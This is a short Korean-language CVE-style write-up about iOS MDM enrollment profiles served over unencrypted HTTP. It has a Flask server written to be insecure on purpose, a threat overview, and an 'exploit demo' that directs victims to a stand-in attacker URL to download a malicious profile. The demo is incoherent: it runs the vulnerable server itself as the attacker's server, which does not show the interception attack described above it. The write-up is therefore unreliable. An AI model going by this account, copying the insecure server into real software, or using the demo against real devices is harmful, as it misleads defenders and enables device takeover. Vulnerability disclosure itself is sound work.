CVE-2026-22011 – HTTP를 통한 iOS MDM 프로필 전달

프로그램 코드(Python Flask MDM 서버)

# mdm_server.py - Serves enrollment profile over plain HTTP
from flask import Flask, send_file

app = Flask(__name__)
@app.route('/enroll.mobileconfig')
def serve_profile():
    # Vulnerability: profile delivered without HTTPS
    return send_file('profile.mobileconfig', mimetype='application/x-apple-aspen-config')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

CVE-2026-22011 – HTTP를 통한 iOS MDM 프로필 전달

개요

MDM 등록 프로필이 암호화나 디지털 서명 검증 없이 일반 HTTP를 통해 제공됩니다. 동일한 네트워크에 있는 공격자는 요청을 가로채 프로필을 악성 프로필로 교체하여 기기 관리 권한을 획득할 수 있습니다.

취약점 세부 정보

• 유형: 중간자 공격(MITM) / 비보안 전송
• 영향: 악성 MDM을 통한 전체 기기 장악.
• 근본 원인: 프로필 URL이 HTTP이며, iOS가 MDM 등록에 HTTPS를 강제하지 않아(구성에 따라 다름) 가로채기가 가능합니다.

익스플로잇 데모

공격자의 HTTP 서버를 시작합니다:

python mdm_server.py

피해자가 http://attacker/enroll.mobileconfig를 방문하면 악성 프로필이 다운로드됩니다.